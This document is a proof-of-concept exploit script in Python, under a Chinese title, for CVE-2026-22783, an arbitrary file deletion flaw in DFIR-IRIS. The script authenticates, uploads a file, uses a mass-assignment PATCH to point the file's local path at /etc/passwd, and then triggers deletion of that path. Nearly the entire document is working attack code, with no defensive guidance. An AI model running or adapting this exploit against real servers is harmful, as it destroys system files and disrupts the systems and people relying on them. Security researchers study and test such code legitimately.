CVE-2026-22783 DFIR-IRIS 任意文件删除漏洞

#!/usr/bin/env python3 """ CVE-2026-22783 DFIR-IRIS Arbitrary File Delete PoC This PoC demonstrates the mass assignment vulnerability in DFIR-IRIS that allows authenticated users to delete arbitrary files. """ import requests import json import sys TARGET_URL = "http://target-iris-server.com" USERNAME = "[email protected]" PASSWORD = "password123" TARGET_FILE_TO_DELETE = "/etc/passwd" # Target file to delete def get_auth_token(): """Authenticate and get session token""" login_url = f"{TARGET_URL}/login" data = { "user_name": USERNAME, "user_password": PASSWORD } response = requests.post(login_url, json=data) if response.status_code == 200: return response.cookies return None def upload_file(session_cookies): """Step 1: Upload a legitimate file to datastore""" upload_url = f"{TARGET_URL}/datastore/upload" files = {'file': ('test.txt', b'test content', 'text/plain')} response = requests.post(upload_url, files=files, cookies=session_cookies) if response.status_code == 200: data = response.json() return data.get('file_id') return None def mass_assign_path(session_cookies, file_id, target_path): """Step 2: Update file_local_name via mass assignment""" update_url = f"{TARGET_URL}/datastore/file/{file_id}" payload = { "file_local_name": target_path, "operation_type": "update" } headers = {'Content-Type': 'application/json'} response = requests.patch(update_url, json=payload, headers=headers, cookies=session_cookies) return response.status_code == 200 def delete_file(session_cookies, file_id): """Step 3: Trigger delete operation to delete arbitrary path""" delete_url = f"{TARGET_URL}/datastore/file/{file_id}/delete" response = requests.delete(delete_url, cookies=session_cookies) return response.status_code == 200 def main(): print(f"[*] CVE-2026-22783 PoC for DFIR-IRIS Arbitrary File Delete") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target file to delete: {TARGET_FILE_TO_DELETE}") # Step 1: Authenticate print("\n[Step 1] Authenticating...") session = get_auth_token() if not session: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Upload file print("\n[Step 2] Uploading file to datastore...") file_id = upload_file(session) if not file_id: print("[-] File upload failed") sys.exit(1) print(f"[+] File uploaded successfully, file_id: {file_id}") # Step 3: Mass assign arbitrary path print(f"\n[Step 3] Mass assigning file_local_name to {TARGET_FILE_TO_DELETE}...") if mass_assign_path(session, file_id, TARGET_FILE_TO_DELETE): print("[+] Mass assignment successful") else: print("[-] Mass assignment failed") sys.exit(1) # Step 4: Delete file (triggers arbitrary file deletion) print("\n[Step 4] Triggering delete operation...") if delete_file(session, file_id): print(f"[+] Arbitrary file deletion triggered: {TARGET_FILE_TO_DELETE}") else: print("[-] Delete operation failed") if __name__ == "__main__": main()